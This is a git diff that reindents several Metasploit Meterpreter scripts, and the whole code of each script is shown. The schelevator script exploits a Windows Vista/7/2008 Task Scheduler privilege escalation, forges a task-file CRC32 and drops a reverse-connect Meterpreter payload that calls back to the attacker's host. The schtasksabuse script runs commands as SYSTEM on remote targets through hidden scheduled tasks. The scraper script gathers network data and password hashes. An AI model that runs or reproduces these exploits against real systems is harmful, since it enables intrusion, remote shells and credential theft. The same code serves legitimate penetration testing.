scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password) + end + else + print_status("Meterpreter is not running under sufficient administrative rights.") + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/schelevator.rb b/scripts/meterpreter/schelevator.rb index f10648d989..e74e08da35 100644 --- a/scripts/meterpreter/schelevator.rb +++ b/scripts/meterpreter/schelevator.rb @@ -20,33 +20,33 @@ require 'zlib' # Filter out sessions that this definitely won't work on. # if session.platform !~ /win32|win64|java/ - print_error("#{session.platform} is not supported.") - raise Rex::Script::Completed + print_error("#{session.platform} is not supported.") + raise Rex::Script::Completed end if session.sys.config.sysinfo["Architecture"] =~ /wow64/i - # - # WOW64 Filesystem Redirection prevents us opening the file directly. To make matters - # worse, meterpreter/railgun creates things in a new thread, making it much more - # difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this, - # offer a workaround and error out. - # - print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...") - raise Rex::Script::Completed + # + # WOW64 Filesystem Redirection prevents us opening the file directly. To make matters + # worse, meterpreter/railgun creates things in a new thread, making it much more + # difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this, + # offer a workaround and error out. + # + print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...") + raise Rex::Script::Completed end vuln = false winver = session.sys.config.sysinfo["OS"] affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ] affected.each { |v| - if winver.include? v - vuln = true - break - end + if winver.include? v + vuln = true + break + end } if not vuln - print_error("#{winver} is not vulnerable.") - raise Rex::Script::Completed + print_error("#{winver} is not vulnerable.") + raise Rex::Script::Completed end @@ -54,18 +54,18 @@ end # We have a chance to succeed, check params # @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-c" => [ true, "Execute the specified command" ], - "-u" => [ true, "Upload and execute the specified file" ], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening"], - "-t" => [ true, "Use the specified task name" ] + "-h" => [ false, "Help menu." ], + "-c" => [ true, "Execute the specified command" ], + "-u" => [ true, "Upload and execute the specified file" ], + "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening"], + "-t" => [ true, "Use the specified task name" ] ) def usage - print_line("Schelevator -- Exploit for Windows Vista/7/2008 Task Scheduler 2.0 Privilege Escalation") - print(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Schelevator -- Exploit for Windows Vista/7/2008 Task Scheduler 2.0 Privilege Escalation") + print(@@exec_opts.usage) + raise Rex::Script::Completed end rhost = Rex::Socket.source_address @@ -74,66 +74,66 @@ taskname = nil cmd = nil upload_fn = nil @@exec_opts.parse(args) { |opt, idx, val| - case opt + case opt - when "-c" - cmd = val + when "-c" + cmd = val - when "-u" - upload_fn = val - if not ::File.exists?(upload_fn) - raise "Specified file to upload does not exist!" - end + when "-u" + upload_fn = val + if not ::File.exists?(upload_fn) + raise "Specified file to upload does not exist!" + end - when "-t" - taskname = val + when "-t" + taskname = val - when "-h" - usage + when "-h" + usage - when "-r" - rhost = val + when "-r" + rhost = val - when "-p" - rport = val.to_i - end + when "-p" + rport = val.to_i + end } # Must have at least one of -c or -u if not cmd and not upload_fn - print_status("Using default reverse-connect meterpreter payload; -c or -u not specified") + print_status("Using default reverse-connect meterpreter payload; -c or -u not specified") - # Get the exe payload. - pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") - pay.datastore['LHOST'] = rhost - pay.datastore['LPORT'] = rport - raw = pay.generate - exe = Msf::Util::EXE.to_win32pe(client.framework, raw) - #and placing it on the target in %TEMP% - tempdir = client.fs.file.expand_path("%TEMP%") - tempexename = Rex::Text.rand_text_alpha(rand(8)+6) - cmd = tempdir + "\\" + tempexename + ".exe" - print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{cmd}") - fd = client.fs.file.new(cmd, "wb") - fd.write(exe) - fd.close + # Get the exe payload. + pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") + pay.datastore['LHOST'] = rhost + pay.datastore['LPORT'] = rport + raw = pay.generate + exe = Msf::Util::EXE.to_win32pe(client.framework, raw) + #and placing it on the target in %TEMP% + tempdir = client.fs.file.expand_path("%TEMP%") + tempexename = Rex::Text.rand_text_alpha(rand(8)+6) + cmd = tempdir + "\\" + tempexename + ".exe" + print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{cmd}") + fd = client.fs.file.new(cmd, "wb") + fd.write(exe) + fd.close - #get handler to be ready - handler = client.framework.exploits.create("multi/handler") - handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" - handler.datastore['LHOST'] = rhost - handler.datastore['LPORT'] = rport - handler.datastore['InitialAutoRunScript'] = "migrate -f" - handler.datastore['ExitOnSession'] = false - #start a handler to be ready - handler.exploit_simple( - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true - ) + #get handler to be ready + handler = client.framework.exploits.create("multi/handler") + handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" + handler.datastore['LHOST'] = rhost + handler.datastore['LPORT'] = rport + handler.datastore['InitialAutoRunScript'] = "migrate -f" + handler.datastore['ExitOnSession'] = false + #start a handler to be ready + handler.exploit_simple( + 'Payload' => handler.datastore['PAYLOAD'], + 'RunAsJob' => true + ) end if cmd - print_status("Using command: #{cmd}") + print_status("Using command: #{cmd}") end # @@ -142,148 +142,148 @@ end sysdir = session.fs.file.expand_path("%SystemRoot%") tmpdir = session.fs.file.expand_path("%TEMP%") if upload_fn - begin - location = tmpdir.dup - ext = upload_fn.split('.') - if ext - ext = ext.last.downcase - if ext == "exe" - location << "\\svhost#{rand(100)}.exe" - else - location << "\\TMP#{rand(100)}.#{ext}" - end - else - location << "\\TMP#{rand(100)}" - end + begin + location = tmpdir.dup + ext = upload_fn.split('.') + if ext + ext = ext.last.downcase + if ext == "exe" + location << "\\svhost#{rand(100)}.exe" + else + location << "\\TMP#{rand(100)}.#{ext}" + end + else + location << "\\TMP#{rand(100)}" + end - print_status("Uploading #{upload_fn} to #{location}....") - session.fs.file.upload_file(location, upload_fn) - print_status("Upload complete.") - rescue ::Exception => e - print_error("Error uploading file #{upload_fn}: #{e.class} #{e}") - raise e - end + print_status("Uploading #{upload_fn} to #{location}....") + session.fs.file.upload_file(location, upload_fn) + print_status("Upload complete.") + rescue ::Exception => e + print_error("Error uploading file #{upload_fn}: #{e.class} #{e}") + raise e + end - cmd ||= location + cmd ||= location end def crc32(data) - table = Zlib.crc_table - crc = 0xffffffff - data.unpack('C*').each { |b| - crc = table[(crc & 0xff) ^ b] ^ (crc >> 8) - } - crc + table = Zlib.crc_table + crc = 0xffffffff + data.unpack('C*').each { |b| + crc = table[(crc & 0xff) ^ b] ^ (crc >> 8) + } + crc end def fix_crc32(data, old_crc) - # - # CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably - # reversed from Microsoft's code) - # - bwd_table = [ - 0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82, - 0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904, - 0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF, - 0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449, - 0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618, - 0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E, - 0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55, - 0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3, - 0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7, - 0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71, - 0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA, - 0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C, - 0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D, - 0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB, - 0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820, - 0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6, - 0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68, - 0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE, - 0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725, - 0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3, - 0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2, - 0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574, - 0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF, - 0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839, - 0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D, - 0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B, - 0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450, - 0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6, - 0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387, - 0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601, - 0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA, - 0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C, - 0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717, - 0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291, - 0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A, - 0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC, - 0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D, - 0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B, - 0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0, - 0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546, - 0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462, - 0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4, - 0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F, - 0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9, - 0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8, - 0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E, - 0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5, - 0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633, - 0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD, - 0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B, - 0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0, - 0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936, - 0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67, - 0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1, - 0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A, - 0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC, - 0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288, - 0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E, - 0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5, - 0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43, - 0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812, - 0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94, - 0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F, - 0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9 - ] + # + # CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably + # reversed from Microsoft's code) + # + bwd_table = [ + 0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82, + 0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904, + 0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF, + 0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449, + 0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618, + 0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E, + 0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55, + 0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3, + 0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7, + 0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71, + 0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA, + 0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C, + 0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D, + 0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB, + 0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820, + 0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6, + 0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68, + 0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE, + 0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725, + 0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3, + 0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2, + 0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574, + 0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF, + 0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839, + 0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D, + 0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B, + 0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450, + 0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6, + 0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387, + 0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601, + 0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA, + 0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C, + 0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717, + 0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291, + 0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A, + 0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC, + 0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D, + 0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B, + 0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0, + 0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546, + 0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462, + 0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4, + 0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F, + 0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9, + 0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8, + 0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E, + 0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5, + 0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633, + 0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD, + 0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B, + 0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0, + 0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936, + 0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67, + 0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1, + 0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A, + 0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC, + 0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288, + 0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E, + 0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5, + 0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43, + 0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812, + 0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94, + 0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F, + 0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9 + ] - crc = crc32(data[0, data.length - 12]) - data[-12, 4] = [crc].pack('V') + crc = crc32(data[0, data.length - 12]) + data[-12, 4] = [crc].pack('V') - data[-12, 12].unpack('C*').reverse.each { |b| - old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff - } - data[-12, 4] = [old_crc].pack('V') + data[-12, 12].unpack('C*').reverse.each { |b| + old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff + } + data[-12, 4] = [old_crc].pack('V') end def exec_schtasks(cmdline, purpose) - lns = cmd_exec("cmd.exe /c " + cmdline + " && echo SCHELEVATOR") - success = false - lns.each_line { |ln| - ln.chomp! - if ln =~ /^SCHELEVATOR$/ - success = true - else - print_status(ln) - end - } - raise "Unable to #{purpose}!" if not success + lns = cmd_exec("cmd.exe /c " + cmdline + " && echo SCHELEVATOR") + success = false + lns.each_line { |ln| + ln.chomp! + if ln =~ /^SCHELEVATOR$/ + success = true + else + print_status(ln) + end + } + raise "Unable to #{purpose}!" if not success end def read_task_file(taskname, taskfile) - print_status("Reading the task file contents from #{taskfile}...") + print_status("Reading the task file contents from #{taskfile}...") - # Can't read the file directly on 2008? - content = '' - fd = client.fs.file.new(taskfile, "rb") - until fd.eof? - content << fd.read - end - fd.close + # Can't read the file directly on 2008? + content = '' + fd = client.fs.file.new(taskfile, "rb") + until fd.eof? + content << fd.read + end + fd.close - content + content end @@ -306,15 +306,15 @@ content = read_task_file(taskname, taskfile) # Double-check that we got what we expect. # if content[0,2] != "\xff\xfe" - # - # Convert to unicode, since it isn't already - # - content = content.unpack('C*').pack('v*') + # + # Convert to unicode, since it isn't already + # + content = content.unpack('C*').pack('v*') else - # - # NOTE: we strip the BOM here to exclude it from the crc32 calculation - # - content = content[2,content.length] + # + # NOTE: we strip the BOM here to exclude it from the crc32 calculation + # + content = content[2,content.length] end diff --git a/scripts/meterpreter/schtasksabuse.rb b/scripts/meterpreter/schtasksabuse.rb index 064e41602d..c17a82378f 100644 --- a/scripts/meterpreter/schtasksabuse.rb +++ b/scripts/meterpreter/schtasksabuse.rb @@ -11,14 +11,14 @@ session = client # Setting Arguments @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-c" => [ true,"Commands to execute. Several commands can be given but separated by commas and enclose the list in double quotes if arguments are used."], - "-u" => [ true,"Username to schedule task, if none is given the current user credentials will be used."], - "-p" => [ true,"Password for user account specified, it must be given if a user is given."], - "-d" => [ true,"Delay between the execution of commands in seconds, default is 2 seconds if not given."], - "-t" => [ true,"Remote system to schedule job."], - "-l" => [ true,"Text file with list of targets, one per line."], - "-s" => [ true,"Text file with list of commands, one per line."] + "-h" => [ false,"Help menu." ], + "-c" => [ true,"Commands to execute. Several commands can be given but separated by commas and enclose the list in double quotes if arguments are used."], + "-u" => [ true,"Username to schedule task, if none is given the current user credentials will be used."], + "-p" => [ true,"Password for user account specified, it must be given if a user is given."], + "-d" => [ true,"Delay between the execution of commands in seconds, default is 2 seconds if not given."], + "-t" => [ true,"Remote system to schedule job."], + "-l" => [ true,"Text file with list of targets, one per line."], + "-s" => [ true,"Text file with list of commands, one per line."] ) #Setting Argument variables commands = [] @@ -28,128 +28,128 @@ password = nil delay = 2 help = 0 def usage - print_status( "This Meterpreter script is for running commands on targets system using the") - print_status( "Windows Scheduler, it is based on the tool presented but not released by Val Smith") - print_status( "in Defcon 16 ATAbuser. If no user and password is given it will use the permissions") - print_status( "of the process Meterpreter is running under.") - print_status( "Options:") - print_status( @@exec_opts.usage ) + print_status( "This Meterpreter script is for running commands on targets system using the") + print_status( "Windows Scheduler, it is based on the tool presented but not released by Val Smith") + print_status( "in Defcon 16 ATAbuser. If no user and password is given it will use the permissions") + print_status( "of the process Meterpreter is running under.") + print_status( "Options:") + print_status( @@exec_opts.usage ) end def abuse(session,targets,commands,username,password,delay) - #for each target - targets.each do |t| - next if t.strip.length < 1 - next if t[0,1] == "#" - #for eacg command - commands.each do |c| - next if c.strip.length < 1 - next if c[0,1] == "#" - taskname = "syscheck#{rand(100)}" - success = false - #check if user name and password where given, if not credential of running process used - if username == nil && password == nil - print_status("Scheduling command #{c} to run .....") - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\" /sc once /ru system /s #{t} /st 00:00:00" - r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) - #check if successfully scheduled - while(d = r.channel.read) - if d =~ /successfully been created/ - print_status("The scheduled task has been successfully created") - success = true - end - end - #check if schedule successful, if not raise error - if !success - print_status("Failed to create scheduled task!!") - raise "Command could not be Scheduled" - elsif success - print_status("Running command on #{t}") - session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t}") - end - r.channel.close - r.close - #Wait before scheduling next command - sleep(delay) - print_status("Removing scheduled task") - session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t} /F") - else - print_status("Scheduling command #{c} to run .....") - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\" /sc once /ru system /s #{t} /u #{username} /p #{password} /st 00:00:00" - r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) - #check if successfully scheduled - while(d = r.channel.read) - if d =~ /successfully been created/ - print_status("The scheduled task has been successfully created") - success = true - end - end - #check if schedule successful, if not raise error - if !success - print_status("Failed to create scheduled task!!") - raise "Command could not be Scheduled" - elsif success - print_status("Running command on #{t}") - session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t} /u #{username} /p #{password}") - end - r.channel.close - r.close - #Wait before scheduling next command - sleep(delay) - print_status("Removing scheduled task") - session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t} /u #{username} /p #{password} /F") - end - end - end + #for each target + targets.each do |t| + next if t.strip.length < 1 + next if t[0,1] == "#" + #for eacg command + commands.each do |c| + next if c.strip.length < 1 + next if c[0,1] == "#" + taskname = "syscheck#{rand(100)}" + success = false + #check if user name and password where given, if not credential of running process used + if username == nil && password == nil + print_status("Scheduling command #{c} to run .....") + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\" /sc once /ru system /s #{t} /st 00:00:00" + r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) + #check if successfully scheduled + while(d = r.channel.read) + if d =~ /successfully been created/ + print_status("The scheduled task has been successfully created") + success = true + end + end + #check if schedule successful, if not raise error + if !success + print_status("Failed to create scheduled task!!") + raise "Command could not be Scheduled" + elsif success + print_status("Running command on #{t}") + session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t}") + end + r.channel.close + r.close + #Wait before scheduling next command + sleep(delay) + print_status("Removing scheduled task") + session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t} /F") + else + print_status("Scheduling command #{c} to run .....") + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\" /sc once /ru system /s #{t} /u #{username} /p #{password} /st 00:00:00" + r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) + #check if successfully scheduled + while(d = r.channel.read) + if d =~ /successfully been created/ + print_status("The scheduled task has been successfully created") + success = true + end + end + #check if schedule successful, if not raise error + if !success + print_status("Failed to create scheduled task!!") + raise "Command could not be Scheduled" + elsif success + print_status("Running command on #{t}") + session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t} /u #{username} /p #{password}") + end + r.channel.close + r.close + #Wait before scheduling next command + sleep(delay) + print_status("Removing scheduled task") + session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t} /u #{username} /p #{password} /F") + end + end + end end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end @@exec_opts.parse(args) { |opt, idx, val| - case opt + case opt - when "-c" - commands = val.split(',') - when "-u" - username = val - when "-p" - password = val - when "-t" - targets = val.split(',') - when "-d" - delay = val.to_i - when "-s" - script = val - if not ::File.exists?(script) - raise "Command List File does not exists!" - else - ::File.open(script, "r").each_line do |line| - commands << line.chomp - end - end - when "-l" - list = val - if not ::File.exists?(list) - raise "Command List File does not exists!" - else - ::File.open(list, "r").each_line do |line| - targets << line.chomp - end - end - when "-h" - help = 1 - end + when "-c" + commands = val.split(',') + when "-u" + username = val + when "-p" + password = val + when "-t" + targets = val.split(',') + when "-d" + delay = val.to_i + when "-s" + script = val + if not ::File.exists?(script) + raise "Command List File does not exists!" + else + ::File.open(script, "r").each_line do |line| + commands << line.chomp + end + end + when "-l" + list = val + if not ::File.exists?(list) + raise "Command List File does not exists!" + else + ::File.open(list, "r").each_line do |line| + targets << line.chomp + end + end + when "-h" + help = 1 + end } unsupported if client.platform !~ /win32|win64/i print_status("Meterpreter session running as #{session.sys.config.getuid}") if help == 0 && commands.length != 0 - abuse(session,targets,commands,username,password,delay) + abuse(session,targets,commands,username,password,delay) else - usage + usage end diff --git a/scripts/meterpreter/scraper.rb b/scripts/meterpreter/scraper.rb index b94515ed72..69faa5dd95 100644 --- a/scripts/meterpreter/scraper.rb +++ b/scripts/meterpreter/scraper.rb @@ -7,18 +7,18 @@ # hdm[at]metasploit.com # opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] + "-h" => [ false,"Help menu." ] ) opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("Scraper -- harvest system info including network shares, registry hives and password hashes") - print_line("Info is stored in " + ::File.join(Msf::Config.log_directory,"scripts", "scraper")) - print_line("USAGE: run scraper") - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line("Scraper -- harvest system info including network shares, registry hives and password hashes") + print_line("Info is stored in " + ::File.join(Msf::Config.log_directory,"scripts", "scraper")) + print_line("USAGE: run scraper") + print_line(opts.usage) + raise Rex::Script::Completed + end } require 'fileutils' @@ -28,32 +28,32 @@ require 'fileutils' # Delete a file (meterpreter has no unlink API yet) def m_unlink(client, path) - r = client.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'}) - while(r.name) - select(nil, nil, nil, 0.10) - end - r.close + r = client.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'}) + while(r.name) + select(nil, nil, nil, 0.10) + end + r.close end def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Exec a command and return the results def m_exec(client, cmd) - begin - r = client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) - b = "" - while(d = r.channel.read) - b << d - break if d == "" - end - r.channel.close - r.close - b - rescue ::Exception => e - print_error("Failed to run command #{cmd}") - print_error("Error: #{e.class} #{e}") - end + begin + r = client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) + b = "" + while(d = r.channel.read) + b << d + break if d == "" + end + r.channel.close + r.close + b + rescue ::Exception => e + print_error("Failed to run command #{cmd}") + print_error("Error: #{e.class} #{e}") + end end @@ -73,92 +73,92 @@ logs = ::File.join(Msf::Config.log_directory, 'scripts','scraper', host + "_" + unsupported if client.platform !~ /win32|win64/i begin - tmp = client.fs.file.expand_path("%TEMP%") + tmp = client.fs.file.expand_path("%TEMP%") - print_status("Gathering basic system information...") + print_status("Gathering basic system information...") - ::File.open(File.join(logs, "network.txt"), "w") do |fd| - fd.puts("=" * 70) - client.net.config.each_route do |route| - fd.puts("Local subnet: #{route.subnet}/#{route.netmask}") - end + ::File.open(File.join(logs, "network.txt"), "w") do |fd| + fd.puts("=" * 70) + client.net.config.each_route do |route| + fd.puts("Local subnet: #{route.subnet}/#{route.netmask}") + end - fd.puts("=" * 70) - fd.puts(m_exec(client, "netstat -na")) + fd.puts("=" * 70) + fd.puts(m_exec(client, "netstat -na")) - fd.puts("=" * 70) - fd.puts(m_exec(client, "netstat -ns")) - end + fd.puts("=" * 70) + fd.puts(m_exec(client, "netstat -ns")) + end - info = client.sys.config.sysinfo() - ::File.open(File.join(logs, "system.txt"), "w") do |fd| - fd.puts("Computer: #{info['Computer']}") - fd.puts("OS: #{info['OS']}") - end + info = client.sys.config.sysinfo() + 